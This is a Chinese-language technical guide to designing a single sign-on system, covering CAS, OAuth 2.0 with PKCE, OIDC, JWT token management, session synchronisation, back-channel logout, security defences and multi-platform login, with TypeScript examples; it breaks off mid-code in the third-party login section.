设计单点登录系统(SSO)
问题
如何设计一套完整的单点登录(SSO)系统?从 SSO 核心概念、主流协议(CAS、OAuth 2.0、OIDC)选型,到 Token 管理、前端实现、Session 同步、安全防护与多端适配,请详细说明核心模块的设计思路与关键技术实现。
答案
单点登录(Single Sign-On,SSO)是一种身份认证机制,用户只需登录一次,即可访问多个相互信任的应用系统,无需重复输入凭证。它是企业级应用、SaaS 平台和多子系统架构中的基础设施。SSO 的核心挑战在于跨域 Session 共享、安全的 Token 生命周期管理和统一登出的一致性。
一、需求分析
功能需求
| 模块 | 功能点 |
|---|---|
| 单点登录 | 用户在一处登录后,访问其他子系统自动完成认证 |
| 单点登出 | 用户在一处登出后,所有子系统同步登出 |
| 多协议支持 | 支持 CAS、OAuth 2.0、OIDC、SAML 等主流协议 |
| 第三方登录 | 支持微信、Google、GitHub 等社会化登录 |
| Token 管理 | Access Token、Refresh Token、无感续期 |
| 多端适配 | Web、移动端、小程序统一认证 |
| 权限集成 | 与权限管理系统协同 |
非功能需求
| 指标 | 目标 |
|---|---|
| 安全性 | 防 CSRF、XSS、Token 劫持,支持 PKCE |
| 可用性 | SSO 中心 99.99%,降级为独立登录 |
| 性能 | Token 验证 < 5ms,登录跳转 < 500ms |
| 可扩展 | 支持新增子系统零代码接入 |
| 合规 | 符合 GDPR、个人信息保护法 |
SSO 解决的是**认证(Authentication)**问题——"你是谁"。授权(Authorization)——"你能做什么"——由各子系统的权限模块负责。两者常配合使用,但职责不同。
二、整体架构
2.1 系统架构图
2.2 核心组件
| 组件 | 职责 | 技术选型 |
|---|---|---|
| SSO Center | 统一登录页、认证入口、登出协调 | Next.js / React SPA |
| Auth Service | 认证逻辑、密码校验、第三方登录 | NestJS / Express |
| Token Service | Token 签发、验证、刷新、吊销 | JWT + Redis |
| Session Store | 集中式 Session 管理、TGT 存储 | Redis Cluster |
| User Database | 用户信息、凭证存储 | MySQL / PostgreSQL |
| Client SDK | 各子系统接入 SDK | npm 包(参见 SDK 架构设计) |
三、SSO 核心概念
3.1 单点登录流程(概览)
3.2 三大核心能力
| 能力 | 说明 | 关键技术 |
|---|---|---|
| 单点登录 | 登录一次,处处可用 | TGT(Ticket Granting Ticket)、SSO Session Cookie |
| 单点登出 | 登出一次,全局失效 | Back-Channel Logout、Token 吊销 |
| Session 共享 | 多系统共享认证状态 | Redis 集中存储、JWT 无状态验证 |
四、方案对比
4.1 同域 SSO vs 跨域 SSO
- 同域 SSO
- 跨域 SSO
适用场景:所有子系统在同一主域下(如 *.example.com)
原理:利用 Cookie 的 domain 属性,将 Token 写入主域。
import { Response } from 'express';
function setSharedCookie(res: Response, token: string): void {
res.cookie('sso_token', token, {
domain: '.example.com', // 所有子域共享
path: '/',
httpOnly: true,
secure: true,
sameSite: 'lax',
maxAge: 7 * 24 * 60 * 60 * 1000, // 7 天
});
}
优点:实现简单,无需复杂跳转。
缺点:仅限同主域,Cookie 大小受限(~4KB)。
4.2 主流协议对比
| 特性 | CAS | OAuth 2.0 | OIDC | SAML |
|---|---|---|---|---|
| 定位 | 纯认证 | 纯授权 | 认证 + 授权 | 认证 + 授权 |
| Token 格式 | Service Ticket | Access Token(自定义) | ID Token(JWT) | XML Assertion |
| 传输格式 | URL 参数 | JSON | JSON(JWT) | XML |
| 适用场景 | 企业内网 | API 授权、第三方登录 | 现代 Web/移动端 | 企业级、政府 |
| 复杂度 | 低 | 中 | 中 | 高 |
| 代表实现 | Apereo CAS | Google/GitHub OAuth | Auth0、Keycloak | Okta、Azure AD |
| 推荐度 | 遗留系统 | API 授权场景 | 首选方案 | 企业合规 |
- 新项目首选 OIDC:基于 OAuth 2.0 扩展,同时解决认证和授权
- API 授权场景:使用 OAuth 2.0 + PKCE
- 企业内网遗留系统:CAS 足够简单
- 需要与 Okta/Azure AD 对接:SAML
五、CAS 流程详解
5.1 核心概念
| 概念 | 全称 | 说明 |
|---|---|---|
| TGT | Ticket Granting Ticket | SSO 中心的全局 Session 标识,存在 Cookie 中 |
| TGC | Ticket Granting Cookie | 存储 TGT 的 Cookie,仅在 SSO 域下有效 |
| ST | Service Ticket | 一次性票据,用于子系统向 SSO 中心换取用户信息 |
5.2 CAS 认证流程
5.3 CAS 服务端实现
import { randomUUID } from 'crypto';
import Redis from 'ioredis';
const redis = new Redis();
interface TicketData {
userId: string;
username: string;
createdAt: number;
}
interface ServiceTicketData extends TicketData {
service: string;
}
// TGT 管理
class TGTService {
// 创建 TGT,有效期 8 小时
async createTGT(userId: string, username: string): Promise<string> {
const tgtId = `TGT-${randomUUID()}`;
const data: TicketData = { userId, username, createdAt: Date.now() };
await redis.setex(`tgt:${tgtId}`, 8 * 3600, JSON.stringify(data));
return tgtId;
}
async validateTGT(tgtId: string): Promise<TicketData | null> {
const raw = await redis.get(`tgt:${tgtId}`);
return raw ? JSON.parse(raw) : null;
}
async destroyTGT(tgtId: string): Promise<void> {
// 同时销毁关联的所有 ST
const stKeys = await redis.smembers(`tgt-st:${tgtId}`);
if (stKeys.length > 0) {
await redis.del(...stKeys.map((st) => `st:${st}`));
}
await redis.del(`tgt:${tgtId}`, `tgt-st:${tgtId}`);
}
}
// ST 管理
class STService {
// 创建一次性 ST,有效期 30 秒
async createST(
tgtId: string,
userId: string,
username: string,
service: string
): Promise<string> {
const stId = `ST-${randomUUID()}`;
const data: ServiceTicketData = {
userId,
username,
service,
createdAt: Date.now(),
};
await redis.setex(`st:${stId}`, 30, JSON.stringify(data));
// 记录 TGT 关联的 ST(登出时需要)
await redis.sadd(`tgt-st:${tgtId}`, stId);
return stId;
}
// 验证并消费 ST(一次性)
async validateAndConsumeST(
stId: string,
service: string
): Promise<ServiceTicketData | null> {
const raw = await redis.get(`st:${stId}`);
if (!raw) return null;
const data: ServiceTicketData = JSON.parse(raw);
// 校验 service 是否匹配
if (data.service !== service) return null;
// ST 一次性使用,立即删除
await redis.del(`st:${stId}`);
return data;
}
}
export const tgtService = new TGTService();
export const stService = new STService();
六、OAuth 2.0 四种授权模式
6.1 模式对比
| 模式 | 适用场景 | 安全级别 | 是否需要后端 |
|---|---|---|---|
| 授权码模式 | Web 应用(有后端) | 最高 | 是 |
| 授权码 + PKCE | SPA / 移动端 | 高 | 否 |
| 隐式模式 | 已废弃(OAuth 2.1) | 低 | 否 |
| 密码模式 | 高度信任的自有应用 | 中 | 是 |
| 客户端凭证模式 | 服务间调用(M2M) | 中 | - |
OAuth 2.1 已正式废弃隐式模式(Implicit Grant),SPA 应用应使用授权码模式 + PKCE。
6.2 授权码模式(Authorization Code)
6.3 授权码 + PKCE(推荐 SPA 使用)
PKCE(Proof Key for Code Exchange)解决了 SPA 无法安全存储 client_secret 的问题。
// PKCE 工具函数
// 生成随机 code_verifier
function generateCodeVerifier(): string {
const array = new Uint8Array(32);
crypto.getRandomValues(array);
return base64UrlEncode(array);
}
// 计算 code_challenge = SHA256(code_verifier) 的 Base64URL 编码
async function generateCodeChallenge(verifier: string): Promise<string> {
const encoder = new TextEncoder();
const data = encoder.encode(verifier);
const digest = await crypto.subtle.digest('SHA-256', data);
return base64UrlEncode(new Uint8Array(digest));
}
function base64UrlEncode(buffer: Uint8Array): string {
const base64 = btoa(String.fromCharCode(...buffer));
return base64
.replace(/\+/g, '-')
.replace(/\//g, '_')
.replace(/=+$/, '');
}
// 发起 PKCE 授权请求
async function startPKCEFlow(): Promise<void> {
const codeVerifier = generateCodeVerifier();
const codeChallenge = await generateCodeChallenge(codeVerifier);
// 存储 code_verifier(后续换 Token 时需要)
sessionStorage.setItem('pkce_code_verifier', codeVerifier);
const state = crypto.randomUUID();
sessionStorage.setItem('oauth_state', state);
const params = new URLSearchParams({
response_type: 'code',
client_id: 'my-spa-client',
redirect_uri: window.location.origin + '/callback',
scope: 'openid profile email',
state,
code_challenge: codeChallenge,
code_challenge_method: 'S256',
});
window.location.href =
`https://sso.example.com/authorize?` + params.toString();
}
6.4 四种模式速查
- 授权码模式
- 授权码 + PKCE
- 密码模式
- 客户端凭证模式
用户 -> 客户端 -> 授权服务器 -> 返回 code -> 客户端后端用 code + client_secret 换 token
适用:有后端的 Web 应用。最安全,token 不经过浏览器。
用户 -> SPA -> 授权服务器(带 code_challenge) -> 返回 code -> SPA 用 code + code_verifier 换 token
适用:SPA、移动端。无需 client_secret,用 PKCE 保证安全。
用户 -> 客户端直接收集用户名密码 -> POST /token (username, password, client_id)
适用:高度信任的自有应用(如内部后台)。不推荐用于第三方。
服务A -> POST /token (client_id, client_secret, grant_type=client_credentials)
适用:服务间调用(Machine to Machine),无用户参与。
七、OIDC(OpenID Connect)
7.1 OIDC 与 OAuth 2.0 的关系
OAuth 2.0 只解决"授权"——允许第三方访问资源。OIDC 在 OAuth 2.0 之上增加了身份认证层,通过 ID Token 告诉客户端"用户是谁"。
7.2 ID Token 结构
ID Token 是一个 JWT,包含用户身份声明:
// ID Token Payload(JWT 解码后)
interface IDTokenPayload {
// 标准声明
iss: string; // 签发者(如 https://sso.example.com)
sub: string; // 用户唯一标识
aud: string; // 受众(client_id)
exp: number; // 过期时间
iat: number; // 签发时间
nonce: string; // 防重放攻击
// 用户信息声明(取决于 scope)
name?: string;
email?: string;
email_verified?: boolean;
picture?: string;
}
// Token 响应
interface TokenResponse {
access_token: string; // 访问令牌(访问资源 API)
id_token: string; // 身份令牌(JWT,包含用户信息)
refresh_token: string; // 刷新令牌(换取新 access_token)
token_type: 'Bearer';
expires_in: number; // access_token 有效期(秒)
scope: string;
}
7.3 UserInfo 端点
// 通过 UserInfo Endpoint 获取用户详细信息
async function fetchUserInfo(accessToken: string): Promise<UserInfo> {
const response = await fetch('https://sso.example.com/userinfo', {
headers: {
Authorization: `Bearer ${accessToken}`,
},
});
if (!response.ok) {
throw new Error('Failed to fetch user info');
}
return response.json();
}
interface UserInfo {
sub: string;
name: string;
email: string;
email_verified: boolean;
picture: string;
locale: string;
}
7.4 OIDC Discovery
SSO 服务暴露 /.well-known/openid-configuration 端点,客户端可自动发现所有配置:
// https://sso.example.com/.well-known/openid-configuration 返回
interface OIDCDiscovery {
issuer: string;
authorization_endpoint: string;
token_endpoint: string;
userinfo_endpoint: string;
jwks_uri: string; // 公钥地址,用于验证 JWT 签名
end_session_endpoint: string;
revocation_endpoint: string;
scopes_supported: string[]; // 如 ['openid', 'profile', 'email']
response_types_supported: string[];
grant_types_supported: string[];
id_token_signing_alg_values_supported: string[];
}
八、Token 管理
8.1 Token 类型与职责
| Token 类型 | 存储位置 | 有效期 | 用途 |
|---|---|---|---|
| Access Token | 内存 / sessionStorage | 15 分钟~1 小时 | 访问 API 资源 |
| Refresh Token | HttpOnly Cookie | 7~30 天 | 换取新的 Access Token |
| ID Token | 内存 | 与 Access Token 同步 | 用户身份信息 |
| TGT(CAS) | Redis(服务端) | 8 小时 | SSO 全局 Session |
8.2 JWT Token 签发与验证
import jwt from 'jsonwebtoken';
import Redis from 'ioredis';
const redis = new Redis();
interface TokenPayload {
sub: string; // 用户 ID
username: string;
roles: string[];
}
interface Tokens {
accessToken: string;
refreshToken: string;
idToken: string;
expiresIn: number;
}
const ACCESS_TOKEN_SECRET = process.env.ACCESS_TOKEN_SECRET!;
const REFRESH_TOKEN_SECRET = process.env.REFRESH_TOKEN_SECRET!;
const ID_TOKEN_SECRET = process.env.ID_TOKEN_SECRET!;
class TokenService {
// 签发完整的 Token 组合
signTokens(payload: TokenPayload, clientId: string): Tokens {
const accessToken = jwt.sign(
{ sub: payload.sub, username: payload.username, roles: payload.roles },
ACCESS_TOKEN_SECRET,
{ expiresIn: '15m', issuer: 'sso.example.com' }
);
const refreshToken = jwt.sign(
{ sub: payload.sub, type: 'refresh' },
REFRESH_TOKEN_SECRET,
{ expiresIn: '7d', issuer: 'sso.example.com' }
);
// OIDC ID Token
const idToken = jwt.sign(
{
sub: payload.sub,
name: payload.username,
aud: clientId,
iat: Math.floor(Date.now() / 1000),
},
ID_TOKEN_SECRET,
{ expiresIn: '15m', issuer: 'sso.example.com' }
);
return { accessToken, refreshToken, idToken, expiresIn: 900 };
}
// 验证 Access Token
verifyAccessToken(token: string): TokenPayload | null {
try {
return jwt.verify(token, ACCESS_TOKEN_SECRET, {
issuer: 'sso.example.com',
}) as TokenPayload;
} catch {
return null;
}
}
// 刷新 Token
async refreshTokens(
refreshToken: string,
clientId: string
): Promise<Tokens | null> {
try {
const decoded = jwt.verify(refreshToken, REFRESH_TOKEN_SECRET) as {
sub: string;
type: string;
};
if (decoded.type !== 'refresh') return null;
// 检查 Refresh Token 是否已被吊销
const isRevoked = await this.isTokenRevoked(refreshToken);
if (isRevoked) return null;
// 查询用户最新信息
const user = await this.getUserById(decoded.sub);
if (!user) return null;
return this.signTokens(
{ sub: user.id, username: user.username, roles: user.roles },
clientId
);
} catch {
return null;
}
}
// Token 吊销(存入黑名单)
async revokeToken(token: string): Promise<void> {
const decoded = jwt.decode(token) as { exp: number } | null;
if (!decoded) return;
const ttl = decoded.exp - Math.floor(Date.now() / 1000);
if (ttl > 0) {
await redis.setex(`revoked:${token}`, ttl, '1');
}
}
private async isTokenRevoked(token: string): Promise<boolean> {
const result = await redis.get(`revoked:${token}`);
return result !== null;
}
private async getUserById(
id: string
): Promise<{ id: string; username: string; roles: string[] } | null> {
// 数据库查询...
return null;
}
}
export const tokenService = new TokenService();
8.3 无感续期(Silent Refresh)
type TokenChangeCallback = (token: string | null) => void;
class TokenManager {
private accessToken: string | null = null;
private refreshTimer: ReturnType<typeof setTimeout> | null = null;
private onTokenChange: TokenChangeCallback | null = null;
// 初始化:尝试用 Refresh Token 静默获取 Access Token
async init(): Promise<boolean> {
try {
// Refresh Token 在 HttpOnly Cookie 中,浏览器自动携带
const response = await fetch('/api/auth/refresh', {
method: 'POST',
credentials: 'include', // 携带 Cookie
});
if (!response.ok) return false;
const data: { accessToken: string; expiresIn: number } =
await response.json();
this.setAccessToken(data.accessToken, data.expiresIn);
return true;
} catch {
return false;
}
}
// 设置 Access Token 并安排自动续期
private setAccessToken(token: string, expiresIn: number): void {
this.accessToken = token;
this.onTokenChange?.(token);
// 清除旧定时器
if (this.refreshTimer) {
clearTimeout(this.refreshTimer);
}
// 在过期前 60 秒自动续期
const refreshDelay = (expiresIn - 60) * 1000;
this.refreshTimer = setTimeout(() => {
this.silentRefresh();
}, refreshDelay);
}
// 静默续期
private async silentRefresh(): Promise<void> {
try {
const response = await fetch('/api/auth/refresh', {
method: 'POST',
credentials: 'include',
});
if (!response.ok) {
this.handleLogout();
return;
}
const data = await response.json();
this.setAccessToken(data.accessToken, data.expiresIn);
} catch {
this.handleLogout();
}
}
getAccessToken(): string | null {
return this.accessToken;
}
subscribe(callback: TokenChangeCallback): () => void {
this.onTokenChange = callback;
return () => {
this.onTokenChange = null;
};
}
private handleLogout(): void {
this.accessToken = null;
this.onTokenChange?.(null);
if (this.refreshTimer) {
clearTimeout(this.refreshTimer);
}
// 跳转 SSO 登录页
const redirectUrl = encodeURIComponent(window.location.href);
window.location.href =
`https://sso.example.com/login?redirect=` + redirectUrl;
}
destroy(): void {
if (this.refreshTimer) {
clearTimeout(this.refreshTimer);
}
}
}
export const tokenManager = new TokenManager();
九、前端实现
9.1 登录跳转
interface SSOClientConfig {
ssoBaseUrl: string;
clientId: string;
redirectUri: string;
scope?: string;
}
class SSOClient {
private config: SSOClientConfig;
constructor(config: SSOClientConfig) {
this.config = config;
}
// 发起登录
login(): void {
const state = crypto.randomUUID();
sessionStorage.setItem('sso_state', state);
const params = new URLSearchParams({
response_type: 'code',
client_id: this.config.clientId,
redirect_uri: this.config.redirectUri,
scope: this.config.scope ?? 'openid profile email',
state,
});
window.location.href = this.config.ssoBaseUrl + '/authorize?' + params;
}
// 处理回调
async handleCallback(): Promise<{ accessToken: string } | null> {
const url = new URL(window.location.href);
const code = url.searchParams.get('code');
const state = url.searchParams.get('state');
// 验证 state 防 CSRF
const savedState = sessionStorage.getItem('sso_state');
if (!code || state !== savedState) {
console.error('Invalid callback: state mismatch or missing code');
return null;
}
sessionStorage.removeItem('sso_state');
// 用授权码换取 Token
const response = await fetch('/api/auth/exchange', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ code, redirectUri: this.config.redirectUri }),
credentials: 'include',
});
if (!response.ok) return null;
// 清理 URL 中的 code 参数
window.history.replaceState({}, '', url.pathname);
return response.json();
}
// 发起登出
logout(): void {
// 跳转 SSO 登出端点,由 SSO 协调全局登出
const params = new URLSearchParams({
client_id: this.config.clientId,
post_logout_redirect_uri: window.location.origin,
});
window.location.href =
this.config.ssoBaseUrl + '/logout?' + params;
}
}
export const ssoClient = new SSOClient({
ssoBaseUrl: 'https://sso.example.com',
clientId: 'my-app',
redirectUri: window.location.origin + '/callback',
});
9.2 请求拦截器
import { tokenManager } from './token-manager';
import axios, { AxiosError, InternalAxiosRequestConfig } from 'axios';
const httpClient = axios.create({
baseURL: '/api',
timeout: 10000,
});
// 请求拦截:自动附加 Access Token
httpClient.interceptors.request.use(
(config: InternalAxiosRequestConfig) => {
const token = tokenManager.getAccessToken();
if (token) {
config.headers.Authorization = `Bearer ${token}`;
}
return config;
}
);
// 响应拦截:处理 401 自动续期
let isRefreshing = false;
let pendingRequests: Array<(token: string) => void> = [];
httpClient.interceptors.response.use(
(response) => response,
async (error: AxiosError) => {
const originalRequest = error.config;
if (!originalRequest) return Promise.reject(error);
if (error.response?.status === 401) {
// 防止并发刷新:多个请求同时 401 时,只刷新一次
if (isRefreshing) {
return new Promise((resolve) => {
pendingRequests.push((token: string) => {
originalRequest.headers.Authorization = `Bearer ${token}`;
resolve(httpClient(originalRequest));
});
});
}
isRefreshing = true;
try {
const success = await tokenManager.init();
if (success) {
const newToken = tokenManager.getAccessToken()!;
// 重发所有等待中的请求
pendingRequests.forEach((cb) => cb(newToken));
pendingRequests = [];
// 重发当前请求
originalRequest.headers.Authorization = `Bearer ${newToken}`;
return httpClient(originalRequest);
}
} catch {
// 刷新失败,跳转登录
} finally {
isRefreshing = false;
}
}
return Promise.reject(error);
}
);
export { httpClient };
9.3 静默登录(iframe / 隐藏重定向)
在不打断用户操作的情况下检查 SSO Session:
// 使用隐藏 iframe 实现静默登录检查
function silentLogin(ssoUrl: string, clientId: string): Promise<string | null> {
return new Promise((resolve) => {
const iframe = document.createElement('iframe');
iframe.style.display = 'none';
const timeout = setTimeout(() => {
cleanup();
resolve(null);
}, 5000);
function handleMessage(event: MessageEvent): void {
if (event.origin !== new URL(ssoUrl).origin) return;
cleanup();
if (event.data?.type === 'sso-auth-success') {
resolve(event.data.code as string); // 获取授权码
} else {
resolve(null);
}
}
function cleanup(): void {
clearTimeout(timeout);
window.removeEventListener('message', handleMessage);
iframe.remove();
}
window.addEventListener('message', handleMessage);
const params = new URLSearchParams({
response_type: 'code',
client_id: clientId,
redirect_uri: window.location.origin + '/silent-callback',
prompt: 'none', // 不显示登录页
scope: 'openid',
});
iframe.src = ssoUrl + '/authorize?' + params;
document.body.appendChild(iframe);
});
}
9.4 React 集成示例
import {
useState,
useEffect,
useCallback,
createContext,
useContext,
} from 'react';
import type { ReactNode } from 'react';
import { tokenManager } from '../client/token-manager';
import { ssoClient } from '../client/sso-client';
interface AuthState {
isAuthenticated: boolean;
isLoading: boolean;
user: UserInfo | null;
}
interface AuthContextValue extends AuthState {
login: () => void;
logout: () => void;
}
interface UserInfo {
id: string;
name: string;
email: string;
}
const AuthContext = createContext<AuthContextValue | null>(null);
export function AuthProvider({
children,
}: {
children: ReactNode;
}): JSX.Element {
const [state, setState] = useState<AuthState>({
isAuthenticated: false,
isLoading: true,
user: null,
});
useEffect(() => {
async function initAuth(): Promise<void> {
// 1. 如果 URL 有 code 参数,处理回调
const url = new URL(window.location.href);
if (url.searchParams.has('code')) {
const result = await ssoClient.handleCallback();
if (result) {
setState({ isAuthenticated: true, isLoading: false, user: null });
return;
}
}
// 2. 尝试用 Refresh Token 静默续期
const success = await tokenManager.init();
if (success) {
const user = await fetchUserInfo();
setState({ isAuthenticated: true, isLoading: false, user });
} else {
setState({ isAuthenticated: false, isLoading: false, user: null });
}
}
initAuth();
}, []);
const login = useCallback(() => ssoClient.login(), []);
const logout = useCallback(() => ssoClient.logout(), []);
return (
<AuthContext.Provider value={{ ...state, login, logout }}>
{children}
</AuthContext.Provider>
);
}
export function useAuth(): AuthContextValue {
const context = useContext(AuthContext);
if (!context) {
throw new Error('useAuth must be used within AuthProvider');
}
return context;
}
async function fetchUserInfo(): Promise<UserInfo | null> {
try {
const token = tokenManager.getAccessToken();
const response = await fetch('/api/auth/me', {
headers: { Authorization: `Bearer ${token}` },
});
return response.ok ? response.json() : null;
} catch {
return null;
}
}
十、Session 同步
10.1 方案对比
| 方案 | 原理 | 优点 | 缺点 |
|---|---|---|---|
| Redis 集中存储 | Session 存 Redis,多服务共享 | 支持主动吊销,一致性强 | 每次请求需查 Redis |
| JWT 无状态 | Token 自包含信息,无需查数据库 | 高性能,无状态 | 无法主动吊销(需黑名单) |
| JWT + Redis 混合 | JWT 验证 + Redis 黑名单 | 兼顾性能和安全 | 实现稍复杂 |
使用 JWT + Redis 黑名单的混合方案:正常请求用 JWT 快速验证(无需查库),登出或安全事件时将 Token 加入 Redis 黑名单。
10.2 Redis Session 存储
import Redis from 'ioredis';
const redis = new Redis({ host: 'redis-cluster', port: 6379 });
interface SSOSession {
userId: string;
username: string;
loginTime: number;
lastActiveTime: number;
registeredClients: string[]; // 已登录的子系统列表(登出时需通知)
ip: string;
userAgent: string;
}
class SessionStore {
private readonly PREFIX = 'sso:session:';
private readonly TTL = 8 * 3600; // 8 小时
async create(sessionId: string, data: SSOSession): Promise<void> {
await redis.setex(
this.PREFIX + sessionId,
this.TTL,
JSON.stringify(data)
);
// 用户维度的 Session 索引(支持查看所有在线设备)
await redis.sadd(`sso:user-sessions:${data.userId}`, sessionId);
}
async get(sessionId: string): Promise<SSOSession | null> {
const raw = await redis.get(this.PREFIX + sessionId);
return raw ? JSON.parse(raw) : null;
}
// 注册子系统(用户在该子系统完成登录后调用)
async registerClient(sessionId: string, clientId: string): Promise<void> {
const session = await this.get(sessionId);
if (!session) return;
if (!session.registeredClients.includes(clientId)) {
session.registeredClients.push(clientId);
await redis.setex(
this.PREFIX + sessionId,
this.TTL,
JSON.stringify(session)
);
}
}
// 销毁 Session(全局登出)
async destroy(sessionId: string): Promise<string[]> {
const session = await this.get(sessionId);
if (!session) return [];
const clients = session.registeredClients;
await redis.del(this.PREFIX + sessionId);
await redis.srem(`sso:user-sessions:${session.userId}`, sessionId);
return clients; // 返回需要通知登出的子系统列表
}
// 获取用户所有活跃 Session("踢掉其他设备"功能)
async getUserSessions(userId: string): Promise<SSOSession[]> {
const sessionIds = await redis.smembers(`sso:user-sessions:${userId}`);
const sessions: SSOSession[] = [];
for (const id of sessionIds) {
const session = await this.get(id);
if (session) sessions.push(session);
}
return sessions;
}
}
export const sessionStore = new SessionStore();
十一、登出设计
11.1 Back-Channel vs Front-Channel
| 方式 | 原理 | 优点 | 缺点 |
|---|---|---|---|
| Back-Channel Logout | SSO 服务端直接调用各子系统后端的登出 API | 可靠、不依赖浏览器 | 子系统需暴露登出端点 |
| Front-Channel Logout | 通过浏览器 iframe/img 请求各子系统登出 URL | 简单 | 受浏览器限制(SameSite Cookie) |
11.2 Back-Channel Logout 实现
import jwt from 'jsonwebtoken';
interface ClientConfig {
clientId: string;
backchannelLogoutUri: string;
}
// 注册的子系统配置
const registeredClients: Map<string, ClientConfig> = new Map([
['app-a', {
clientId: 'app-a',
backchannelLogoutUri: 'https://app-a.com/api/backchannel-logout',
}],
['app-b', {
clientId: 'app-b',
backchannelLogoutUri: 'https://app-b.com/api/backchannel-logout',
}],
]);
class LogoutService {
// 全局登出
async globalLogout(sessionId: string): Promise<void> {
// 1. 获取该 Session 已注册的子系统
const clientIds = await sessionStore.destroy(sessionId);
// 2. 并行通知所有子系统
const logoutPromises = clientIds.map((clientId) =>
this.notifyClient(clientId, sessionId)
);
// 3. 容忍部分失败(某个子系统挂了不影响其他系统登出)
const results = await Promise.allSettled(logoutPromises);
results.forEach((result, index) => {
if (result.status === 'rejected') {
console.error(
`Failed to notify ${clientIds[index]}:`,
result.reason
);
}
});
}
private async notifyClient(
clientId: string,
sessionId: string
): Promise<void> {
const client = registeredClients.get(clientId);
if (!client) return;
// 签发 Logout Token(OIDC 规范)
const logoutToken = jwt.sign(
{
iss: 'https://sso.example.com',
sub: sessionId,
aud: clientId,
events: {
'http://schemas.openid.net/event/backchannel-logout': {},
},
},
process.env.LOGOUT_TOKEN_SECRET!,
{ expiresIn: '2m' }
);
// POST Logout Token 到子系统的 Back-Channel 端点
const response = await fetch(client.backchannelLogoutUri, {
method: 'POST',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: `logout_token=${logoutToken}`,
});
if (!response.ok) {
throw new Error(`Logout notification failed for ${clientId}`);
}
}
}
export const logoutService = new LogoutService();
11.3 子系统接收登出通知
import { Request, Response } from 'express';
import jwt from 'jsonwebtoken';
// 子系统处理 Back-Channel Logout
async function handleBackchannelLogout(
req: Request,
res: Response
): Promise<void> {
const logoutToken = req.body.logout_token as string;
try {
// 1. 验证 Logout Token
const decoded = jwt.verify(logoutToken, process.env.SSO_PUBLIC_KEY!, {
issuer: 'https://sso.example.com',
audience: 'my-app-client-id',
}) as { sub: string; events: Record<string, unknown> };
// 2. 确认是登出事件
const logoutEvent =
'http://schemas.openid.net/event/backchannel-logout';
if (!decoded.events[logoutEvent]) {
res.status(400).json({ error: 'Not a logout event' });
return;
}
// 3. 销毁本地 Session
await localSessionStore.destroyByExternalId(decoded.sub);
// 4. 通知前端(如果使用 WebSocket 推送在线状态)
socketServer.to(decoded.sub).emit('session-expired');
res.status(200).json({ success: true });
} catch {
res.status(400).json({ error: 'Invalid logout token' });
}
}
十二、安全设计
12.1 安全威胁与防护
| 威胁 | 攻击方式 | 防护措施 |
|---|---|---|
| CSRF | 伪造授权请求 | state 参数校验 |
| XSS | 窃取 Token | HttpOnly Cookie、CSP |
| 授权码拦截 | 中间人截获 code | PKCE、HTTPS |
| Token 泄露 | localStorage 被读取 | 内存存储、短有效期 |
| 重放攻击 | 重复使用授权码 | 授权码一次性使用、nonce |
| 会话固定 | 登录前后 Session 不变 | 登录后重新生成 Session ID |
12.2 CSRF 防护:state 参数
// 生成并校验 state 参数
class CSRFProtection {
// 生成 state:随机值 + 当前页面 URL(防止跳转到恶意页面)
static generate(): string {
const random = crypto.randomUUID();
const currentUrl = window.location.href;
const state = btoa(JSON.stringify({ random, returnTo: currentUrl }));
sessionStorage.setItem('oauth_state', state);
return state;
}
// 校验 state
static verify(receivedState: string): { returnTo: string } | null {
const savedState = sessionStorage.getItem('oauth_state');
sessionStorage.removeItem('oauth_state');
if (!savedState || receivedState !== savedState) {
console.error('CSRF detected: state mismatch');
return null;
}
try {
return JSON.parse(atob(receivedState));
} catch {
return null;
}
}
}
12.3 XSS 防护:Token 存储策略
import { Response } from 'express';
// 安全地设置 Refresh Token Cookie
function setRefreshTokenCookie(res: Response, refreshToken: string): void {
res.cookie('refresh_token', refreshToken, {
httpOnly: true, // JS 不可访问
secure: true, // 仅 HTTPS
sameSite: 'strict', // 禁止跨站发送
path: '/api/auth/refresh', // 仅刷新端点可访问
maxAge: 7 * 24 * 60 * 60 * 1000,
});
}
// CSP Header 配置
function setCSPHeaders(res: Response): void {
res.setHeader(
'Content-Security-Policy',
[
"default-src 'self'",
"script-src 'self'",
"style-src 'self' 'unsafe-inline'",
"frame-ancestors 'none'", // 防止点击劫持
"connect-src 'self' https://sso.example.com",
].join('; ')
);
}
12.4 PKCE 防授权码拦截
SPA 和移动端无法安全存储 client_secret。没有 PKCE 时,攻击者如果拦截了授权码(如通过恶意浏览器扩展),就可以直接用 code 换取 Token。PKCE 确保只有发起请求的那个客户端才能完成 Token 交换。
PKCE 的完整实现参见第六节 OAuth 2.0 部分。
十三、扩展设计
13.1 多端适配
- Web 端
- 移动端(App)
- 小程序
- 使用授权码 + PKCE 模式
- Access Token 存内存,Refresh Token 存 HttpOnly Cookie
- 支持 iframe 静默登录检查
- CSP 策略限制脚本注入
- 使用授权码 + PKCE 模式
- 通过 System Browser(非 WebView)进行授权跳转
- Token 存 Keychain(iOS) / Keystore(Android)
- 支持 Deep Link 回调
const mobileAuthConfig = {
authorizationEndpoint: 'https://sso.example.com/authorize',
tokenEndpoint: 'https://sso.example.com/token',
redirectUri: 'com.myapp://callback', // 自定义 URL Scheme
clientId: 'mobile-app',
scopes: ['openid', 'profile', 'email'],
usePKCE: true,
};
- 使用静默授权模式
- 小程序调用
wx.login()获取 code - 后端用 code 向微信换取
openid - 绑定
openid与 SSO 用户体系
// 微信小程序登录流程
async function miniProgramLogin(): Promise<void> {
// 1. 获取微信 code
const { code } = await wx.login();
// 2. 发送到自己的后端
const res = await wx.request({
url: 'https://api.example.com/auth/wechat-mp',
method: 'POST',
data: { code },
});
// 3. 后端返回 SSO Token
const { accessToken, refreshToken } = res.data;
// 4. 安全存储
wx.setStorageSync('access_token', accessToken);
}
13.2 第三方登录集成
interface ThirdPartyProvider {
name: string;
authUrl: string;
tokenUrl: string;
userInfoUrl: string;
clientId: string;
clientSecret: string;
scope: string;
}
const providers: Record<string, ThirdPartyProvider> = {
github: {
name: 'GitHub',
authUrl: 'https://github.com/login/oauth/authorize',
tokenUrl: 'https://github.com/login/oauth/access_token',
userInfoUrl: 'https://api.github.com/user',
clientId: process.env.GITHUB_CLIENT_ID!,
clientSecret: process.env.GITHUB_CLIENT_SECRET!,
scope: 'user:email',
},
google: {
name: 'Google',
authUrl: 'https://accounts.google.com/o/oauth2/v2/auth',
tokenUrl: 'https://oauth2.googleapis.com/token',
